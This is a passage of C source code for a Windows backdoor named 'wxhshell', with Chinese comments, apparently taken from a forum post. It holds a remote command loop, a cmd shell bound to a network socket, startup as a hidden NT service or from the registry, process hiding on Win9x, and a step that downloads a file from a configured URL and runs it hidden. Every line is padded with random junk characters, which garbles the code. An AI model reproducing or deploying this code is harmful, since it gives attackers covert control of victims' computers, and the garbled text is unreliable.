  else { <GLn!~Px@5  
/7x1Z*Hg  
    switch(cmd[0]) { e-#V s{?|r  
  g}pD%  
  // 帮助 vRH2[{KQ9  
  case '?': { *,28@_EwY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \2CEEs'  
    break; !|8"}ZF  
  } dSe d 6  
  // 安装 :*s@L2D6  
  case 'i': { FH%M5RD  
    if(Install()) ,&L}^Up  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tG~[E,/`  
    else D@kf^1G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / }*}r  
    break; C[5dhFZ  
    } BN~ndWRK  
  // 卸载 mF4y0r0  
  case 'r': { yCN?kHG  
    if(Uninstall()) MBAj.J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '_5|9 }  
    else u60RuP&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M6GiohI_"P  
    break; PkLNIp1  
    } BGHZL~  
  // 显示 wxhshell 所在路径 P](8Qrl  
  case 'p': { 9E NI%Jz  
    char svExeFile[MAX_PATH]; 2[qoqd(  
    strcpy(svExeFile,"\n\r"); ,RW`9+gx  
      strcat(svExeFile,ExeFile); I?^(j;QpS  
        send(wsh,svExeFile,strlen(svExeFile),0); |(AFU3 ~  
    break; D c;k)z=  
    } +(y 8q  
  // 重启 Cc;8+Z=a?G  
  case 'b': { \>G}DGz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Io[NN aF|  
    if(Boot(REBOOT)) H \'1.8g/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6P:fM Y  
    else { a=`] L`|N  
    closesocket(wsh); tY: Nq*@  
    ExitThread(0); 57=d;Yg e  
    } "eqzn KT%u  
    break; PG}Roj I  
    } %M))Ak4 ~a  
  // 关机 b%vIaP|]B  
  case 'd': { -*i_8`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )WInPW  
    if(Boot(SHUTDOWN)) >oO]S]W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !zllv tK4  
    else { vbd)L$$20+  
    closesocket(wsh); 5+;Mc[V3-  
    ExitThread(0); *8po0s  
    } JgA{1@h  
    break; &9|L Z9K  
    } ZO/u3&gU  
  // 获取shell |xg_z&dX  
  case 's': { 'O\ y7"a  
    CmdShell(wsh); RRV%g!  
    closesocket(wsh); J7^ UQ  
    ExitThread(0); g(;OUkj$Zp  
    break; t$wbwP  
  } ^X}r ^  
  // 退出 vSC1n8 /  
  case 'x': { +L`}(yLJ)9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K3M.ZRh\;`  
    CloseIt(wsh); %ut 8/T  
    break; elQjPvb  
    } dH PvVe/  
  // 离开 T!ZjgCY}  
  case 'q': { Sk/@w[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2l+L96  
    closesocket(wsh); iC/*d  
    WSACleanup(); vdC0tax  
    exit(1); [DH4iG5  
    break; o{`x:  
        } @j_o CDS  
  } PJ0~ymE1~G  
  } Tx!t3;Yz[  
mL2J  
  // 提示信息 -grmmE]/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \fiy[W/k  
} wjwCs`  
  } lZL+j6Q  
l<GN<[/.+  
  return; *$BUow/>  
} G)%V 3h  
]vvA]e  
// shell模块句柄 -^2p@^  
int CmdShell(SOCKET sock) L"vrX  
{ +]A,fmI.  
STARTUPINFO si; 8wvHg_U6W  
ZeroMemory(&si,sizeof(si)); @n?"*B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gv>DOez/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j8p<HE51  
PROCESS_INFORMATION ProcessInfo; g:ky;-G8b  
char cmdline[]="cmd"; G=|?aK{p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); or3OLBf*Q  
  return 0; jI7 x<=  
} g;'S5w9S  
|ugdl|f  
// 自身启动模式 1C{0 R.  
int StartFromService(void) oSD=3DQ;  
{ Os-Z_zSl6  
typedef struct &uRT/+18W3  
{ H\oxj,+N  
  DWORD ExitStatus; P|@[D=y  
  DWORD PebBaseAddress;  ~d eS*  
  DWORD AffinityMask; 2PyuM=(Wt  
  DWORD BasePriority; v1~l=^4&  
  ULONG UniqueProcessId; Q4-d|  
  ULONG InheritedFromUniqueProcessId; ,$:u^;V(  
}   PROCESS_BASIC_INFORMATION; m_oUl(pk  
F\xIVY  
PROCNTQSIP NtQueryInformationProcess; e8("G[P >  
y/Y}C.IWp)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ Ze!F"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }.)R#hG?  
V'=;M[&  
  HANDLE             hProcess; ^6kl4:{idE  
  PROCESS_BASIC_INFORMATION pbi; 4AJT)I.  
g4=1['wW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,+`r2}N \/  
  if(NULL == hInst ) return 0; }Y.YJXum  
X,l7>>L{g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^g6v#]&WA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i*N2@Z[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DSRc4 |L  
W`9{RZ'  
  if (!NtQueryInformationProcess) return 0; Q2ne]MI  
e8 ]CB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a%m )8N;C  
  if(!hProcess) return 0; %/w-.?bX  
eK1l~W%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {l$)X  
6jc5B#  
  CloseHandle(hProcess); yJC: bD1xi  
rhPv{6Z|7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZrEou}z(*  
if(hProcess==NULL) return 0; )J@[8 x`  
u;nn:K1QFr  
HMODULE hMod; ,^c-}`!K  
char procName[255]; yOlVS@7  
unsigned long cbNeeded; Ne|CWUhO  
? 3fnt"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3l~7  
[rcM32  
  CloseHandle(hProcess); 8BAe6-*S8  
$m5Iv_  
if(strstr(procName,"services")) return 1; // 以服务启动 %1k"K~eu  
i`l;k~rP  
  return 0; // 注册表启动 4uO88[=  
} &&<l}E  
U~yPQ8jD  
// 主模块 I_8 n>\u  
int StartWxhshell(LPSTR lpCmdLine) 5Xxdm-0  
{ cLL2 '  
  SOCKET wsl; +pq=i  
BOOL val=TRUE; nX7F<k4G2  
  int port=0; nnRb   
  struct sockaddr_in door; %u9 Q`  
k8n9zJ8  
  if(wscfg.ws_autoins) Install(); [g"nu0sOK  
\bF<f02P  
port=atoi(lpCmdLine); X=?9-z] QO  
]Gm4gd`  
if(port<=0) port=wscfg.ws_port;  rwSR  
\anOOn@  
  WSADATA data; u{uqK7]+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e`LvHU_0  
;8MQ'#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5.\|*+E~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zp{K_ec{  
  door.sin_family = AF_INET; #G(ivRo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n|H8O3@  
  door.sin_port = htons(port); cY!Pv  
Y<Ae_yLa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s."N7F  
closesocket(wsl); *=O3kUoL  
return 1; G 9 &,`  
} dlZ2iDQ%  
p {. 6  
  if(listen(wsl,2) == INVALID_SOCKET) { `N}V i6FG  
closesocket(wsl); h~%8p ]  
return 1; $P8AU81  
} #d<"Ub  
  Wxhshell(wsl); 5sEk rT '  
  WSACleanup(); Dh}d-m_5  
Vy/G-IASb  
return 0; @R;k@b   
_I,GH{lhI  
} 8yOhKEPX  
_ A{F2M  
// 以NT服务方式启动 T_wh)B4xW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o)b-fAd@$  
{ 4%<wxrod  
DWORD   status = 0; XCxxm3t  
  DWORD   specificError = 0xfffffff; 6e.l# c!1}  
+o,f:Ih  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T#Bj5H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;U a48pSv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u+6L>7t88I  
  serviceStatus.dwWin32ExitCode     = 0; 4kV$JV.l  
  serviceStatus.dwServiceSpecificExitCode = 0; hZo  f  
  serviceStatus.dwCheckPoint       = 0; F4V) 0)G  
  serviceStatus.dwWaitHint       = 0; hhU\$'0B-  
]i1OssV~>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5L7 nEia'  
  if (hServiceStatusHandle==0) return; h'vBWtMa  
`|92!Ej  
status = GetLastError(); <dXeP/1w`  
  if (status!=NO_ERROR) 5V/]7>b1  
{ Dequ'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b>#dMRK  
    serviceStatus.dwCheckPoint       = 0; 5w~J"P6jg  
    serviceStatus.dwWaitHint       = 0; ]70ZerQ~L  
    serviceStatus.dwWin32ExitCode     = status; n8\88d  
    serviceStatus.dwServiceSpecificExitCode = specificError; M,oZ_tY%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 96; gzG@1!  
    return; Y}C|4"V  
  } z'O+B}  
p*1 B *R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T>hm\!  
  serviceStatus.dwCheckPoint       = 0; N<Ym&$xR  
  serviceStatus.dwWaitHint       = 0; {}RU'<D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qq?o^_^4  
} !`W0;0'Zg  
A |U0e`Iw  
// 处理NT服务事件,比如:启动、停止 J5<1 6}*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nq+6ipx  
{ ])?h ~  
switch(fdwControl) xDS]k]/(T  
{ zR/mz)6_  
case SERVICE_CONTROL_STOP: Fs=)*6}&  
  serviceStatus.dwWin32ExitCode = 0; 7>0/$i#'Vl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F$:UvW@e1  
  serviceStatus.dwCheckPoint   = 0; {(t R<z)  
  serviceStatus.dwWaitHint     = 0;  B"5xs  
  { NMC0y|G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \PG_i'R  
  } PJ<qqA`!  
  return; }!|$;3t+c  
case SERVICE_CONTROL_PAUSE: !\Cu J5U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hl)jE 06  
  break; +^AAik<yl  
case SERVICE_CONTROL_CONTINUE: #i*PwgC%_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *mYGs )|  
  break; zF? 6"  
case SERVICE_CONTROL_INTERROGATE: U.I 7p  
  break; 9q[[ ,R  
}; ' eWG v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Q7PY46  
} m*i,|{UZ  
w`M`F<_\:  
// 标准应用程序主函数 cbzS7q<)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1 >2 /1>  
{ ;'[?H0Jw'  
DPmY_[OAE  
// 获取操作系统版本 yWT1CID  
OsIsNt=GetOsVer(); uG YH4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WOeLn[  
\.P#QVuQ  
  // 从命令行安装 #i.BOQxS  
  if(strpbrk(lpCmdLine,"iI")) Install(); o,0 Z^"|  
z  fy(j  
  // 下载执行文件 Z^WI~B0nt  
if(wscfg.ws_downexe) { !u4eI0?R?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n%02,pC6,  
  WinExec(wscfg.ws_filenam,SW_HIDE); W,!7_nl"u  
} f3.oc9G  
!#e+!h@  
if(!OsIsNt) { |'x"+x   
// 如果时win9x,隐藏进程并且设置为注册表启动 zQ u9LN  
HideProc(); txX>zR*)  
StartWxhshell(lpCmdLine); ;DKJ#tS}"  
} H_1&>@ 3  
else 8R(l~  
  if(StartFromService()) +-5YmN'  
  // 以服务方式启动 Rz*GRe  
  StartServiceCtrlDispatcher(DispatchTable); 45jImCm  
else K;w]sN+I  
  // 普通方式启动 #2Iw%H2q&  
  StartWxhshell(lpCmdLine); Bc b '4*:  
2l:cP2fa  
return 0; 5HY0 *\  
}
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只看该作者 1 发表于: 2006-10-10
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